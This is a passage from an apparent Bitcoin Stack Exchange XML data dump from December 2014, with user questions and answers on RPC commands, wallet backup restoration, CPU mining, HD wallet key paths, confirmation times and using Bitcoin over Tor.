experiment?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Anybody could declare it, I suppose. It would be a bit like Emperor Norton ordering the US Army to arrest the United Nations, but they could still declare it.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;As we're nearing the end of 2014 and getting closer to the fifth birthday of Bitcoin, is it still an experiment?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I think the essence of your question is, &quot;Is Bitcoin ready for mainstream adoption?&quot; I don't think so. There's aren't mature payment solutions for physical stores. There are problems with Bitcoin that haven't been sufficiently solved to my mind (primarily detecting double spending).&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2014-12-02T22:29:14.333" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32847" PostTypeId="1" AcceptedAnswerId="32849" CreationDate="2014-12-03T03:01:52.053" Score="0" ViewCount="503" Body="&lt;p&gt;I used &quot;decodescript&quot; on a transaction inputscript &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;304402206c4eba989dd5f87b7814f25ec8b9e08f955d30b299d963df8955639aa0a0f9bc02203c4d41b047d4dc616da101911c512e89255e2c3261733f030f9d1329ca2822dd01&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I got this script from &lt;a href=&quot;https://blockchain.info/tx/2c7b5cede0ab477800c407526ea98de9c89e80e53435dc786479be15970cc0d7&quot; rel=&quot;nofollow&quot;&gt;this website.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and got &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;p2sh&quot; : &quot;3BfdeDc4HpcLJCs6PZ5jzdfaVDzFDBXrVu&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which makes no sense to me.&lt;/p&gt;&#xA;" OwnerUserId="20967" LastEditorUserId="2306" LastEditDate="2014-12-03T05:13:02.903" LastActivityDate="2014-12-03T05:13:02.903" Title="How do I use the RPC command &quot;decodescript&quot;?" Tags="|json-rpc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32848" PostTypeId="2" ParentId="32772" CreationDate="2014-12-03T04:49:55.693" Score="3" Body="&lt;p&gt;If you want to send some coins, you have to have been given some coins before. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When someone sends coins to you, they make a new transaction. This transaction has a TxID (which is the double SHA256 hash of the raw transaction bytes) that everyone uses to refer to this transaction. A transaction can have multiple outputs, and each outputs allocates some of the previously unspent transaction outputs (UTXO) that were used as inputs in the new transaction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WvyLE.png&quot; alt=&quot;Diagram transaction inputs and outputs&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, really this question comes down to: what are bitcoins? Bitcoins are a pair of TxID and an index that uniquely specify an entry in the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The developer documentation (&lt;a href=&quot;https://bitcoin.org/en/developer-documentation&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bitcoin.org/en/developer-documentation&lt;/a&gt;) goes into great detail if you want to learn more.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as how do you actually get your hands on these values, you just have to have someone send you coins to your address (or mine them), and then you could just look your address up on a blockchain explorer and find any unspent outputs it has. From there, you can just use the web interface to see the txid and the output index. For example, I just grabbed a random transaction off from blockchain.info at &lt;a href=&quot;https://blockchain.info/tx/86e06fed6f597dc212e72556a84660d84e9536e081719624a0a30a685238d0d7&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blockchain.info/tx/86e06fed6f597dc212e72556a84660d84e9536e081719624a0a30a685238d0d7&lt;/a&gt;. You can see the txid is 86e06fed6f597dc212e72556a84660d84e9536e081719624a0a30a685238d0d7 and that there are two outputs (indices 0 and 1), the first of which has been spent, and the second one which has not been spent (at the time of writing).&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2014-12-03T05:10:03.020" LastActivityDate="2014-12-03T05:10:03.020" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="32849" PostTypeId="2" ParentId="32847" CreationDate="2014-12-03T05:04:30.530" Score="2" Body="&lt;p&gt;You didn't copy the full script from blockchain.info, you copied half of the already decoded script. The part you copied is the signature, but the public key (the other part) is also part of the script. Even if you had both, though, it's still not the right data to pass to decode script, because the script has already been decoded. The hex that should be passed to the getrawtransaction call can be gotten by looking at the result of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;getrawtransaction 2c7b5cede0ab477800c407526ea98de9c89e80e53435dc786479be15970cc0d7 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But you will just get the same thing as what blockchain.info already has up on their site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the &quot;p2sh&quot; value is the address that would be made by using the script passed to the RPC call as the &lt;code&gt;redeemScript&lt;/code&gt;. I don't think this is what you're looking for at all, so you can pretty safely ignore it. &lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2014-12-03T05:04:30.530" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32850" PostTypeId="1" CreationDate="2014-12-03T05:20:33.243" Score="0" ViewCount="3547" Body="&lt;p&gt;I have a 900w gold certified power supply, an AMD fx 6350 @ 4.39ghz, a nvidia gt 630 2gb GPU with a fan and 8GB DDR3 RAM at 1600MHz. I'm wondering what mining for about 8 hours a day would do to my hardware. I'm not concerned about my graphics card as I only use it for mining but my CPU, RAM, motherboard and other components I am concerned about. My case has very well airflow with 3 exhaust fans and 2 intake, I also have aftermarket cpu cooler. This would be my first time mining along with using this site and I'm curious on whether or not it will do any damage or degrading to my PC. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="21369" LastEditorUserId="5406" LastEditDate="2016-04-24T09:31:52.893" LastActivityDate="2016-04-24T09:31:52.893" Title="Can I mine bitcoin without damaging my hardware?" Tags="|mining-hardware|gpu-mining|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32851" PostTypeId="1" CreationDate="2014-12-03T07:50:19.370" Score="-2" ViewCount="1534" Body="&lt;p&gt;I have computer where I have only CPU and don't need to pay for energy. What kind of virtual currency should I mine?&lt;/p&gt;&#xA;" OwnerUserId="21026" LastEditorUserId="5406" LastEditDate="2016-04-24T09:13:39.510" LastActivityDate="2016-04-24T09:13:39.510" Title="What coin could I mine with CPU now-a-days?" Tags="|mining-profitability|cpu-mining|" AnswerCount="2" CommentCount="3" ClosedDate="2014-12-05T14:34:48.097" ContentLicense="CC BY-SA 3.0" />
  <row Id="32852" PostTypeId="2" ParentId="32850" CreationDate="2014-12-03T09:55:44.590" Score="1" Body="&lt;p&gt;Yes, you can. The question is similar to &quot;Can I play Battlefield w/o damaging hardware&quot; ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hardware that you have does not give you to much bitcoins now, even in long term mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check this out:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Mining_hardware_comparison&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.coinwarz.com/cryptocurrency&quot; rel=&quot;nofollow&quot;&gt;http://www.coinwarz.com/cryptocurrency&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="83779" LastActivityDate="2014-12-03T09:55:44.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32853" PostTypeId="2" ParentId="24793" CreationDate="2014-12-03T10:30:54.790" Score="1" Body="&lt;p&gt;Bitcoin data directory files details are here: &lt;a href=&quot;https://en.bitcoin.it/wiki/Data_directory&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Data_directory&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19354" LastActivityDate="2014-12-03T10:30:54.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32854" PostTypeId="1" CreationDate="2014-12-03T11:56:46.343" Score="1" ViewCount="1476" Body="&lt;p&gt;the bitcoin wallet backup.dat file is in my documents&#xA;but I'm not an advanced computer user&#xA;I have the complete bitcoin qt on my computer but don't know how to restore from the backup&lt;/p&gt;&#xA;" OwnerUserId="21371" LastActivityDate="2014-12-03T13:51:43.720" Title="How in laymans terms do I restore a .dat BTC backed up wallet file on my mac please?" Tags="|bitcoin-core|wallet.dat|" AnswerCount="1" CommentCount="0" ClosedDate="2014-12-18T15:48:55.427" ContentLicense="CC BY-SA 3.0" />
  <row Id="32855" PostTypeId="2" ParentId="32854" CreationDate="2014-12-03T13:51:43.720" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Close Bitcoin core so that the program is not running. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to /Users/{yourusername}/Library/Application Support/Bitcoin/ and there you will see much of the blockchain data, and a wallet.dat file. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If there is a wallet.dat file here that you also need, save it elsewhere by copying and pasting.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Put your backup.dat in this directory, and rename it to wallet.dat.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Start Bitcoin-QT with the -rescan option so that it will go and look for any coins that your received in the blockchain.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;That's it!&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2014-12-03T13:51:43.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32856" PostTypeId="2" ParentId="32850" CreationDate="2014-12-03T13:53:32.197" Score="2" Body="&lt;p&gt;That would depend on your definition of damage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all your equipment is going to 'wear down' much faster if the CPU is at 100% load longer than an hour or so. Normal computer usage lets the CPU throttle somewhere between 20% load and 100% for let's say 6 to 8 hours a day. CPU coolers are made to prevent the CPU from overheating in all possible situations, so it won't burn out your CPU immediately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But with normal computer usage your CPU will heat up, cool down a bit (a bit less hot), heat up again, etc. With mining on a CPU, the CPU will heat up and continue heating up to the point where the heat exchanged by the CPU cooler will be equal to the heat produced by the CPU. This is called an equilibrium (or balance).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are temperatures your PC would be OK with running 24/7, but that does not mean anyone would recommend you doing so. You won't ruin your computer right away, but the chances of it will definitely be higher.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next to that, the amount of bitcoins you can generate letting your CPU mine bitcoin right now (December 2014) would be around 0.00000001 a week... ? That's about accurate. (Not taking power usage into account.) If you really want to mine cryptocoins on your CPU, look for a CPU-only cryptocoin and then exchange the mined coins to Bitcoin, that way you'll get much more in most cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you absolutely want to mine Bitcoin directly without mining an altcoin, look at this: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/32834/how-do-i-start-mining/32836#32836&quot;&gt;How do I start mining?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="21294" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2014-12-03T14:17:30.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32857" PostTypeId="2" ParentId="32851" CreationDate="2014-12-03T17:40:43.003" Score="1" Body="&lt;p&gt;Here you can check profitability of all the algorythms and many currencies - &lt;a href=&quot;http://www.coinwarz.com/cryptocurrency&quot; rel=&quot;nofollow&quot;&gt;CoinWarz&lt;/a&gt;.&#xA;Possibilities of your computer you have to check by yourself, by installing mining software and running it with wallet or conneting to crypto-mines.&lt;/p&gt;&#xA;" OwnerUserId="83779" LastActivityDate="2014-12-03T17:40:43.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32858" PostTypeId="2" ParentId="5385" CreationDate="2014-12-03T18:27:44.027" Score="4" Body="&lt;ol&gt;&#xA;&lt;li&gt;Archive all the priv keys that you want to save. Close bitcoin-qt.&lt;/li&gt;&#xA;&lt;li&gt;Delete wallet.dat.&lt;/li&gt;&#xA;&lt;li&gt;Open bitcoin-qt.exe again.&lt;/li&gt;&#xA;&lt;li&gt;Import keys that you have dumped before.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="83779" LastActivityDate="2014-12-03T18:27:44.027" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32860" PostTypeId="2" ParentId="32748" CreationDate="2014-12-03T19:09:36.497" Score="0" Body="&lt;p&gt;Since 0.10, bitcoind has support for watch-only addresses. &lt;a href=&quot;https://bitcoin.org/en/developer-reference#importaddress&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.org/en/developer-reference#importaddress&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="21377" LastEditorUserId="21377" LastEditDate="2015-07-23T19:05:47.120" LastActivityDate="2015-07-23T19:05:47.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32861" PostTypeId="1" CreationDate="2014-12-03T23:28:15.573" Score="0" ViewCount="315" Body="&lt;p&gt;Is it possible to create a cryptocurrency software that can run efficiently on a raspberryPi and has a mechanism to detect (based on maximum coin production?) if a node is using a better computer so the swarm rejects it's coins? &lt;/p&gt;&#xA;" OwnerUserId="21380" LastActivityDate="2014-12-03T23:44:58.363" Title="Is new cryptocurrency that runs only in raspberry pi possible?" Tags="|currencies|raspberry-pi|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32862" PostTypeId="2" ParentId="32861" CreationDate="2014-12-03T23:44:58.363" Score="2" Body="&lt;p&gt;It possible to inject hardware detecting code into code of your mining software, but to protect the mechanism you cannot publish it as an open-source. That will make your currency not so popular as others. Even if you will be succesful there are people that will change the Raspberry Pi CPU and pass-by your mechanism. &lt;/p&gt;&#xA;" OwnerUserId="83779" LastActivityDate="2014-12-03T23:44:58.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32863" PostTypeId="1" AcceptedAnswerId="32873" CreationDate="2014-12-04T00:30:58.167" Score="2" ViewCount="595" Body="&lt;p&gt;Would running armory through Tor affect the anonymity of Tor Browser, or vice versa? Are there any unusual precautions I should take when doing this?&lt;/p&gt;&#xA;" OwnerUserId="21301" LastActivityDate="2014-12-04T18:45:09.127" Title="Can I safely run Tor and Armory through Tor simultaneously?" Tags="|armory|tor|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32864" PostTypeId="1" CreationDate="2014-12-04T01:51:16.927" Score="0" ViewCount="115" Body="&lt;p&gt;Is it possible to incorporate Bitcoin into a app my company is developing in order to process person to person payments?&lt;/p&gt;&#xA;" OwnerUserId="21381" LastActivityDate="2014-12-04T14:26:32.013" Title="Incorporating Bitcoin into a app for person to person payments" Tags="|transactions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32865" PostTypeId="2" ParentId="23922" CreationDate="2014-12-04T02:52:54.683" Score="-1" Body="&lt;p&gt;I think that multi signature can be used to implement smart contracts, meaning that 2 or more signatures are needed to confirm the transaction for it to go through. E.g. a signature from the buyer and seller. I am not very sure but it's probably worth reading.&lt;/p&gt;&#xA;" OwnerUserId="21383" LastEditorUserId="5406" LastEditDate="2014-12-07T09:38:00.427" LastActivityDate="2014-12-07T09:38:00.427" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32868" PostTypeId="2" ParentId="32864" CreationDate="2014-12-04T14:26:32.013" Score="1" Body="&lt;p&gt;You can build your own inner ecosystem based on bitcoin's block chain where every transacion is in bitcoins. Then you can make a gateway for outer payments using one of the existing commercial payment processors (InPay, BitPay, BitInstant etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moreover you can create your own cryptocurrency using bitcoin's open-source code. &#xA;But then you have to take care of minig process by yourself and create many additional tools (wallet, minig software, blockchain API). You can also have problems to exchange your own cryptocurrency with bitcoins or dollars. So if you need connection with the outer ecosystem it will be better to use bitcoins then create your own software.&lt;/p&gt;&#xA;" OwnerUserId="83779" LastActivityDate="2014-12-04T14:26:32.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32869" PostTypeId="2" ParentId="32863" CreationDate="2014-12-04T14:30:57.277" Score="0" Body="&lt;p&gt;You should install software, that will inform you that https:// is changed into http:// (or does not let the situation). Few weeks ago 300 btc was stolen with the method from Tor users.&lt;/p&gt;&#xA;" OwnerUserId="83779" LastActivityDate="2014-12-04T14:30:57.277" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32870" PostTypeId="1" CreationDate="2014-12-04T16:29:06.193" Score="1" ViewCount="594" Body="&lt;p&gt;I have an application where I create an HD wallet with a passphrase and save the public master key to the database for the user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, I want the user to be able to back up the wallet to their own wallet, in this case I am using Wallet32. I restore the account in Wallet32, which uses a key path of m/44'/0'/0'/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my application side, I am creating the keypath like so (in c#):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;KeyPath newKeyPath = new KeyPath(&quot;44/0/0/0/0&quot; + nextDerivation);&#xA;var childKey = pubkey.Derive(newKeyPath);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The nextDerivsation variable just increments with each purchase. When the derived public key is created on the application side, it doesn't match up with a derived public key in wallet32. So, if a payment is made through the application, Wallet32 doesn't pick it up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the C# NBitcoin library. When I try to add the apostrophes in the keyPath string like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;KeyPath newKeyPath = new KeyPath(&quot;44'/0'/0'/0/0&quot; + nextDerivation);&#xA;var childKey = pubkey.Derive(newKeyPath);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I get an &quot;invalid input format&quot; error. I am unsure as to whether those apostrophes are necessary or not, but when I input that same derivation path into the Bip32 generator, then I can create the same public keys. I can send a payment to the derived address and wallet32 picks it up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone point me in the right direction on what I need to use for the KeyPath in the NBitcoin library to obtain the same results?&lt;/p&gt;&#xA;" OwnerUserId="21392" LastActivityDate="2015-01-23T15:44:10.010" Title="Matching KeyPath in application with Wallet32 Keypath for Bip44 wallets" Tags="|wallet|bip32-hd-wallets|c#|mnemonic-seed|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32872" PostTypeId="1" CreationDate="2014-12-04T18:43:14.797" Score="1" ViewCount="223" Body="&lt;p&gt;Bitcoin, the first blockchain-based cryptocurrency, set a 10 minute confirmation interval time; LiteCoin set a 2 minute confirmation interval time; DogeCoin set it at 1 minute; QuarkCoin set it at 30 seconds; Ethereum set it at 12 seconds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any serious analysis about the stability of the blockchain when the confirmation time is reduced?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be more specific: any requirement between confirmation time and the probability to find a block during that confirmation time ( specially when confirmation time is going to zero) ?&lt;/p&gt;&#xA;" OwnerUserId="18637" LastEditorUserId="18637" LastEditDate="2014-12-05T20:11:57.543" LastActivityDate="2014-12-05T21:11:31.343" Title="Lower confirmation time schemes: any requirement between confirmation time and the probability to find a block during that confirmation time?" Tags="|blockchain|security|confirmations|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32873" PostTypeId="2" ParentId="32863" CreationDate="2014-12-04T18:45:09.127" Score="2" Body="&lt;p&gt;No, it's a bad idea to run bitcoin over tor if your striving for anonymity. Here is a &lt;a href=&quot;http://arxiv.org/abs/1410.6079&quot; rel=&quot;nofollow&quot;&gt;paper&lt;/a&gt; detailing the vulnerability. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;While Bitcoin provides some level of anonymity (or rather pseudonymity) by encouraging the users to have any number of random-looking Bitcoin addresses, recent research shows that this level of anonymity is rather low. This encourages users to connect to the Bitcoin network through anonymizers like Tor and motivates development of default Tor functionality for popular mobile SPV clients. In this paper we show that combining Tor and Bitcoin creates an attack vector for the deterministic and stealthy man-in-the-middle attacks. A low-resource attacker can gain full control of information flows between all users who chose to use Bitcoin over Tor. In particular the attacker can link together user's transactions regardless of pseudonyms used, control which Bitcoin blocks and transactions are relayed to the user and can delay or discard user's transactions and blocks. In collusion with a powerful miner double-spending attacks become possible and a totally virtual Bitcoin reality can be created for such set of users.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2014-12-04T18:45:09.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32874" PostTypeId="2" ParentId="32872" CreationDate="2014-12-04T20:34:21.207" Score="1" Body="&lt;p&gt;The lower confirmation time schemes for mining a block will have a pronounced effect on orphaned blocks, with an inversely proportional relationship prevailing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally this can be explained quite simply; because shorter confirmation times for blocks will mean numerous simultaneous competing chains lengths. Of these competing chains, one will eventually be integrated into the ledger when the block height is greater than the competing chains' heights. However, the chains which are rendered obsolete (ie the shorter chains not integrated into the ledger) will mean orphaned blocks are much more likely as confirmation time decreases. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take an example where it's 1 minute confirmation times. If there's 4 competing chains each 5 blocks in height/length then all it takes is for one of the chains' blocks to be confirmed in, say, 10 seconds, followed by the next confirmation in 10 seconds (which is not a rare event) which will make the block height 7. Therefore, the other chains of height 5 (or perhaps 6 if a block was solved) will be rendered orphaned, and all Txns therein will be orphaned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a balance that needs to be struck between confirmation time and orphaned blocks, and from my experience with altcoins, the 2 minute mark (as employed by Litecoin) is the functional limit. Ethereum has a much, much shorter confirmation time because it's a totally different kind of altcoin. However for POW coins like LTC/BTC, a ~20s confirmation time is infeasible.&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2014-12-04T20:34:21.207" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="32875" PostTypeId="1" CreationDate="2014-12-04T20:50:05.653" Score="0" ViewCount="345" Body="&lt;p&gt;How to get destination address and amount from result of getrawtransaction and how to distinguish it from &quot;change&quot; address using rpc api.&lt;/p&gt;&#xA;" OwnerUserId="7106" LastActivityDate="2015-01-13T06:45:07.320" Title="getrawtransaction - find destination and &quot;change&quot; addresses" Tags="|transactions|bitcoin-core|json-rpc|.net|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32878" PostTypeId="1" AcceptedAnswerId="33981" CreationDate="2014-12-04T21:41:11.430" Score="2" ViewCount="160" Body="&lt;p&gt;From the v0.9.3 miner.cpp source (&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/v0.9.3/src/miner.cpp#L598-L604&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/v0.9.3/src/miner.cpp#L598-L604&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (GetTimeMillis() - nHPSTimerStart &amp;gt; 4000)&#xA;{&#xA;    static CCriticalSection cs;&#xA;    {&#xA;        LOCK(cs);&#xA;        if (GetTimeMillis() - nHPSTimerStart &amp;gt; 4000)&#xA;        {&#xA;        ....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why is the same if statement &quot;&lt;code&gt;if (GetTimeMillis() - nHPSTimerStart &amp;gt; 4000)&lt;/code&gt;&quot; executed twice? GetTimeMillis() can only go up, so it seems like if the first one is true, then the second statement can only ever evaluate to true as well, and is useless. I'm assuming this is not entirely correct, though, and am also assuming it has something to do with the &lt;code&gt;CCriticalSelection&lt;/code&gt;, but would like to understand the nature of it better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="5406" LastEditDate="2016-04-10T09:49:25.393" LastActivityDate="2016-04-10T09:49:25.393" Title="Why does the bitcoin mining code have the same if statement twice?" Tags="|mining-technical-details|bitcoin-core-development|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32880" PostTypeId="1" CreationDate="2014-12-05T01:30:24.370" Score="4" ViewCount="606" Body="&lt;p&gt;What options are there for artists to market their Music in exchange for Bitcoin? How would an artist be able to directly sell his work to his fans?&lt;/p&gt;&#xA;" OwnerUserId="4708" LastEditorUserId="5406" LastEditDate="2015-06-17T12:42:09.560" LastActivityDate="2021-04-26T09:37:34.503" Title="How would an artist be able to sell their own music for Bitcoin?" Tags="|merchants|ecommerce|merchant-services|" AnswerCount="3" CommentCount="2" ClosedDate="2021-04-26T15:09:32.910" ContentLicense="CC BY-SA 3.0" />
  <row Id="32882" PostTypeId="2" ParentId="32332" CreationDate="2014-12-05T03:37:13.010" Score="3" Body="&lt;p&gt;if you are using OS X, you can just double click&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/Applications/MultiBit.app/Contents/Resources/Java/multibit-exe.jar&lt;/p&gt;&#xA;&#xA;&lt;p&gt;works on OS X 10.10.1, Java 7 Update 71.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;guess they need some minor adjust for less strict JVM/JRE version check...&lt;/p&gt;&#xA;" OwnerUserId="21396" LastActivityDate="2014-12-05T03:37:13.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32883" PostTypeId="1" AcceptedAnswerId="35703" CreationDate="2014-12-05T04:50:37.753" Score="1" ViewCount="989" Body="&lt;p&gt;Does anybody know how exactly to connect to &lt;a href=&quot;http://cointerra.com/product/terraminer-iv-used-bitcoin-miners/&quot; rel=&quot;nofollow&quot;&gt;Terraminer&lt;/a&gt; machine via USB?&lt;/p&gt;&#xA;" OwnerUserId="21397" LastActivityDate="2015-02-03T21:35:26.867" Title="How to connect to Terraminer via USB?" Tags="|cgminer|asic|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32885" PostTypeId="2" ParentId="32883" CreationDate="2014-12-05T09:54:05.630" Score="1" Body="&lt;p&gt;First of all, did you read the manual?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://cointerra.com/wp-content/uploads/2014/02/TerraMiner-User-Guide-1.pdf&quot; rel=&quot;nofollow&quot;&gt;http://cointerra.com/wp-content/uploads/2014/02/TerraMiner-User-Guide-1.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a miner with a mining controller on board, specifically the beaglebone black. This allows the miner to do 'standalone mining', meaning it does not need a computer to control it, it has it's own microcontroller to connect to a pool and get the necessary information to start hashing away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do want to connect the miner to a computer:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Accessing the TerraMiner via Serial Port&#xA;You can access the TerraMiner by connecting a USB cable between a computer and the TerraMiner’s&#xA;serial port and using a terminal program. The login is root and the password is cointerra.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the manufacturer does say:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;NOTE: Accessing the TerraMiner through the serial port is unsupported by&#xA;CoinTerra. The Technical Support team will not be able to answer any inquiries&#xA;regarding serial port access. Accessing the TerraMiner via the serial port and&#xA;modifying the software will invalidate the product warranty.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Edit after comment:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not own this machine myself, so I can't say this out of experience. But from what I can read, the miner has a Beaglebone board inside of it, as the miner controller. A beagle bone has a micro USB connection, so plugging in a USB cable into the Beaglebone would allow you to connect to it.&lt;/p&gt;&#xA;" OwnerUserId="21294" LastEditorUserId="21294" LastEditDate="2014-12-06T19:25:00.093" LastActivityDate="2014-12-06T19:25:00.093" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32886" PostTypeId="2" ParentId="32851" CreationDate="2014-12-05T11:03:08.743" Score="1" Body="&lt;p&gt;You can register an account with a multipool. This is a pool that automatically switches to the most profitable coin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because you are using a CPU, the only viable option would be a multipool that also (or only) mines X11 algorithm coins. This way you'll at least get something. (Mining SHA-256 coins like Bitcoin with a CPU will get you less than 40 cents after a YEAR of mining.)&#xA;Both multipool.us and coinmine.pw are multipools that mine X11 next to other algorithms.&lt;/p&gt;&#xA;" OwnerUserId="21294" LastEditorUserId="21294" LastEditDate="2014-12-06T19:26:13.907" LastActivityDate="2014-12-06T19:26:13.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
